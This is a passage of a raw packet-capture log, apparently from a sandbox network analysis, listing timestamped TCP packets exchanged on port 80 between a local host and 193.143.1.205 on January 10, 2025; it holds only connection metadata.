Jan 10, 2025 20:06:47.585844040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.585851908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.585864067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.585865974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.585876942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.585903883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.622880936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.622931004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.629296064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.629345894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.629374027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.629389048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.629390955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.629400969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.629431963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.650471926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.650499105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.650521040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.666722059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.666735888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.666749001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.666763067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.666781902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.666831970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.666842937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.666852951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.666886091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.666977882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.666990042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667001963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667015076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667021990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.667047977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.667064905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667078972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667089939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667109966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.667133093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.667661905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667675018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667685986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667715073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.667830944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667855978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667869091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667874098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.667893887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667906046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667920113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667921066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.667932987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667944908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.667948008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.667975903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.668013096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668025017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668039083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668044090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.668050051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668064117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668072939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.668104887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.668476105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668494940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668505907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668518066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668529987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668543100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668545008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.668555975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668570042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668575048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.668581963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668586969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.668596983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668606043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.668610096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668623924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.668631077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.668661118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696130037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696145058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696166039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696176052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696188927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696202040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696213961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696244955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696314096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696553946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696566105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696578979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696599960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696629047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696650028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696670055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696681976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696692944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696707964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696713924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696726084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696736097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696748972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696762085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696770906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696775913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696798086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696810961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696821928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696827888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696836948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696849108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696851969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696862936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.696868896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696892023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.696984053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.697027922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.697073936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.697091103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.697103024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.697115898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.697127104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.697139978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.697151899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.697151899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.697170973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.697191954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.715183973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.715199947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.715338945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.721586943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.721611977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.721623898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.721638918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.721652031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.721707106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.721771002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.742707968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.742722988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.742805958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.759026051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759084940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759108067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759135962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759146929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759160995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759171009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759186029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759198904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759212971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759236097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.759287119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759301901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759299994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.759322882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759349108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.759367943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759380102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759391069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759412050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.759437084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.759799957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759823084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759834051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759845018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.759880066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.759910107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760013103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760032892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760046005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760057926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760070086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760081053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760103941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760124922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760138035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760149002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760169983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760174036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760185003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760196924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760216951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760226011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760231018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760273933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760297060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760322094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760333061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760345936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760360956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760382891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760503054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760515928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760528088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760539055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760550976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760556936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760561943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760586977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760616064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760627985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760746956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760759115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760771036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760782957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760790110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760795116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760807037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760813951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760821104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.760837078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.760865927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.788738966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788768053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788778067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788790941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788805962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788817883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788830996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788837910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.788851023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788865089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788875103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.788877010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788892031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788897038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.788904905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788918018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788921118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.788933992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.788943052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.788964033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.788999081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789010048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789021969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789035082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789040089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789048910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789064884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789130926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789143085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789155960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789166927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789169073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789181948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789187908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789197922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789213896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789213896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789226055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789251089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789302111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789323092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789339066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789433956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789446115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789458036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789469004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789474010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789483070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789496899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789500952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789526939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789580107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789592028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789603949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.789617062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.789664030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.807336092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.807349920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.807362080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.807420969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.813843966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.813864946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.813877106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.813888073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.813896894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.813900948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.813913107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.813963890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.813963890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.834897995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.834916115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.834923029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.835124969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.851437092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851459026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851475954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851490021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851500988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851520061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.851557970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.851603031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851614952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851625919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851635933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851646900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.851650000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851661921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851666927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.851675987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851686001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.851718903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.851749897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851762056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851772070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851784945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.851793051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.851830959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.851963043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852011919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852024078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852058887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852257967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852298975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852313995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852327108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852336884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852349997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852360010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852394104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852442026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852452993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852463007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852473021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852479935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852518082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852524996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852530956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852560997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852577925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852588892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852601051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852611065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852623940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852629900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:06:47.852636099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852643967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:06:47.852648973 CET	80	49704	193.143.1.205	192.168.2.5
